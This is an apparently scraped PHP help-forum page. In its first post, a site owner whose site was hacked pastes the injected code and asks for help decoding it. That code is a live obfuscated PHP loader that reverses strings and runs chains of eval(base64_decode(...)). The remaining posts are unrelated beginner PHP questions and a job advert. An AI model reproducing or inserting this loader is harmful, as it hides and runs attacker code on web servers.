PHP - Need Help Fast.
This is the case. My website got hacked and injections took place with encoded code. I tried to figure out how to decode it all but I am out of ideas. I need to figure out what was going on here and hope someone is willing to help me.
The code is he Code: [Select] if ($evalZjhGYTfoFIetGo != 34517) {function evalJHIOkgzInSMJH($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evalJHIOkgzInSMJH(';))"=sTKwgyZulGdy9GclJ3Xy9mcyVGQ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=ASf7kCaYlEe4NGZjF0ayFFbhZXZkgSZk92YlR2X0YTZzFmYg4mc1RXZytHIpgGWJhHejR2YBtmcRxWY2VGJoYEWJFGVZdWeQtEbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOpISPNJTWigiRYlUYUl1Z5B1SsFmdlBSPgYVQ59kZmZUWtdHUixWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"7kiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZ9s2QR1UcqFFUhllYHxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"7kiI90TQjBjUIFmIoYEWJFGVZdWeQtEbhZXZ9MkZk5UbBFFVmZFVmZ3Q6xWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKi0DNXFmIoYEWJFGVZdWeQtEbhZXZ98EenNVbOp1US9GSLJlbwxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOpISP9EVS2R2VJJCKGhVShRVWnlHULxWY2VWP6d0Yk1UZz1WaDllQi1GarxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJ9U1Trt0arJWazFmcIxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKpISP9c2YshXbZRnRtVlIoYEWJFGVZdWeQtEbhZXZgwSKiQjVHpVdGd1VigiRYlUYUl1Z5B1SsFmdlBCLpISPJhlWyw2RhpmSYllZGdVYigiRYlUYUl1Z5B1SsFmdlBCLpICM50WUP5kVUJCKGhVShRVWnlHULxWY2VGIskiI9EkbjFDeyUlIoYEWJFGVZdWeQtEbhZXZgwSKiwGeyold5IjUigiRYlUYUl1Z5B1SsFmdlhSehJnchBSPg0Ua0ZWTKREephHcq52SSxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOWFUePZmZGlVb3BlYsFmdlRSPuAnaCpUV5RGWsNGbhZXZkASKgsyKpRCI7gDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKpISP9ElZ3sWejt2Z5NGM1clWwUjMipWOGRGbkJDWsh3Vh1mQFlUdKhFZwYVbjdjQTtkeSN0SNlzaadnSsVGNoV0VCZFbkdnVHJGaahlWnRjMiBnUzkVdW5mWigiRYlUYUl1Z5B1SsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOWFUePZmZGlVb3BlYsFmdlRiLi4iI94CIwpmQKVVekhFbjxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=0Xf7MGWFpmbXpWZjRmWOlEbhZXZkAyboNWZ70VMbNGWFpmbXpWZjRmWOlEbhZXZkASPgMGWFpmbXpWZjRmWOlEbhZXZkAyOpMGWFpmbXpWZjRmWOlEbhZXZkwieHNGZNV2ctl2QZJkYth2asFmdlRCKlR2bsBHelBSPgMGWFpmbXpWZjRmWOlEbhZXZksXKpo3RjRWTlNXbpNUWCJWbotGbhZXZkwyYYVkaudlalNGZa5USsFmdlRCKyR3cyR3coAiZptTKp0VKiUlTxQVS5YUVVJlRTJCKGhVShRVWnlHULxWY2V2WSVkVSV0UfRCKlR2bj5WZsJXdukiI5cWbKJCKGhVShRVWnlHULxWY2VmLpU1Trt0arJWazFmcIxWY2VGJoUGZvNmblxmc15SKikTStpkIoYEWJFGVZdWeQtEbhZXZu0VKi0TSGJVRGBDWGJVMU5kVrVlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJukiI9ADVhJCKGhVShRVWnlHULxWY2VmLpISP4Q0YigiRYlUYUl1Z5B1SsFmdl5SKi8mQuxkIoYEWJFGVZdWeQtEbhZXZu8EenNVbOp1US9GSLJlbwxWY2VGJukiI90zdMJCKGhVShRVWnlHULxWY2VmLwpmQKVVekhFbjxWY2VGJukiI9gTeMJCKGhVShRVWnlHULxWY2VmLpISP9c2TigiRYlUYUl1Z5B1SsFmdl5yQmRmTtFUUUZmVUZmdDpHbhZXZkgCTPZGcSpHeIhVQVZHclxWY2VGI9AyYYVkaudlalNGZa5USsFmdlRCI7kCMwgDMxsSKoUWbpRHLpkiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZoUDZtxyaDFVTxpWUQFWWidEbhZXZkgSZpt2bvNGdlNHQgsHIlNHblBSf7BSKpkSXrNUUNFnaRBVYZJ2RsFmdlRyWFl0SP90QfRCK0V2czlGKgI3bgkSKV90aLt2ail2chJHSsFmdlRCIsISavICIuASKNlGdm1kSEhXa4BnautkUsFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));$evalZjhGYTfoFIetGo =34517;} Similar TutorialsOk here is the error I am getting... Quote Warning: date() expects parameter 2 to be long, string given in /home/a8875754/public_html/admin/pages/edit_members.php on line 191 and this is line 191 of my code... <tr bgcolor="<?php echo $bgcolor; ?>"><td style="text-align:left; border:solid 1px #B30401; padding:3px;"> <span style="float:left;"><strong><?php echo $username; ?></strong> Joined: <strong><?php echo date("M Y",$joined); ?></strong> Usergroup: <strong><?php echo $rank_name['usergroup_name']; ?></strong> </span><span style="float:right;"><a href="index.php?p=edit_members&action=edit&id=<?php echo $id; ?>"> <img src="images/icons/edit_small.png" title="Edit <?php echo $username; ?>" alt="Edit <?php echo $username; ?>"/></a> I can't find the error.. can you? if needed I can post the entire edit_member.php code.. Hello friends, in my database table or even php files i always find within the text something like this i love people\n i love world\n i love anything and sometimes \r and something \n\r so what does it mean is it like <br> or what ? thanks Hi guys, I have written a script that opens up my gmail messages via IMAP stores them in an array. However, I have thousands of emails, so this is taking forever. Is there a faster way of doing this? Here's my code Code: [Select] <?php //lets get those emails /* connect to gmail */ $hostname = '{imap.gmail.com:993/imap/ssl}INBOX'; $username = 'info@***********.com'; $password = '******'; /* try to connect */ $inbox = imap_open($hostname,$username,$password) or die('Cannot connect to Gmail: ' . imap_last_error()); /* grab emails */ $emails = imap_search($inbox,'ALL'); /* if emails are returned, cycle through each... */ if($emails) { /* for every email... */ foreach($emails as $email_number) { $message = imap_fetchbody($inbox,$email_number,2); } } /* close the connection */ imap_close($inbox); ?> I have a very simple system (few files) having simple articles (only title and a paragraph description) stored in single text files. I catch the data by Code: [Select] $data=file('article1.txt'); $title=$data[0]; $description=$data[1]; This simple system works perfectly, but the problem appears when increasing the number of files (e.g. more than 10,000 articles). This is a problem connected with the OS behavior for handling huge number of files. My first question: Is there theoretically a faster system (e.g. database-based) for retrieving data, comparing with retrieving from plain text file? Second question: what can be an alternative for this very simple system (no search query or additional field)? 1. XML: It has the same problem if storing in different files. 2. Mysql: It is very advanced for this system. 3. SQLite:I am thinking of this, but it still have advanced structure of SQL. 4. DB Berkeley: I am not familiar with Oracle at all, and I need to install something new on my server. Is it really worth of trying? 5. Anything else? In general, I just need fast reading the data. I have no idea how much the speed of these systems are different to determine which is worth of consideration. Thanks for sharing your idea. Hello I have multiple stristr condition (300+) involved in my php script (in 1 script only). I would like to know if that is okay or should i move to other solution like Mysql table search data and than direct it to accordingly. Kindly suggest some thing... the 300 condition are stored in include files (every file there is condition i.e there are 300 files in a directory which is included.) Kindly suggest some thing efficient and fast. Hi, my name is Pete Mardell, a development manager for Smart Recruit Online.
We have recently teamed up with a gaming company based in Norwich and are looking to find two new developers to work on our award winning platform. We are specifically looking for a php web developer (Junior or Senior) and a front end web developer (Junior / Senior) to work together on projects to improve our platform and services.
You will be working remotely from our head office in Milton Keynes at Norwich in a software warehouse with other talented developers and will have graphic designer resources available to use to create masterpieces.
Please apply at the links below if interested:
PHP Developer: https://www.smartrec...css3jquery-5483
Front End Developer: https://www.smartrec...in-norwich-7057
Kind Regards,
Pete
Hi there, Does anyone know how to select from a mutlidimensional array, and put the results in a new array? I figured it out but it takes a long time. My array is huge (over 1000+ items) and this search is performed about 50 times before loading the page. My array is called $tasks and it looks like this Code: [Select] $tasks=Array( [0]=>array([id]=>"12"; [owner]=>"nancy"; [task]=>"clean the house"); [1]=>array([id]=>"23"; [owner]=>"toby"; [task]=>"do homework"); [2]=>array([id]=>"43"; [owner]=>"dan"; [task]=>"take out trash"); [3]=>array([id]=>"32"; [owner]=>"nancy"; [task]=>"cook dinner"); ) I want to be able to select from $tasks where owner="nancy", so i end up with this Code: [Select] $nancy_tasks=array( [0]=>array([id]=>"12"; [owner]=>"nancy"; [task]=>"clean the house"); [1]=>array([id]=>"32"; [owner]=>"nancy"; [task]=>"cook dinner");) )Thank you!!! Instead of breaking down and actually learning how to use ajax, I'm thinking about trying to do something so I don't need a page refresh every time, and the filtered data is nearly instant. I just use the session array var, and build a new array from the rows that meet the conditions. I'm thinking of loading a two dimensional array into a session var, then use some input buttons, and use the post vars to filter the array based on a set of predefined conditions. ie status = 0, status = 1. It's a fairly small number of conditions applied to two different fields. So, I need to access specific fields within a row, and essentially create a new array either including or excluding that row depending on whether it met the condition. I'm struggling on several parts. 1. not sure how to build the array so that I can access specific fields, then not sure how to access those fields. Do I do this..... to build the array? .... Code: [Select] while($row = mysql_fetch_assoc($result)){ $array[] = array($row['field1'], $row['field2']); } I was thinking about using a foreach and is_array() to get to each row... Code: [Select] foreach($array as $key => $value){ if(is_array){ foreach($value as $k => $v){ if($v[0] == 1){ //stuck here $v[0] is not a field, it's the first char of the string. not sure how to access a field $new_array[] = $value; //stuck here. I need to put the whole row back into the array if the condition was true. seems like I would have to use the field selectors and rebuild the array. } } } } What would you do? Open to any ideas. |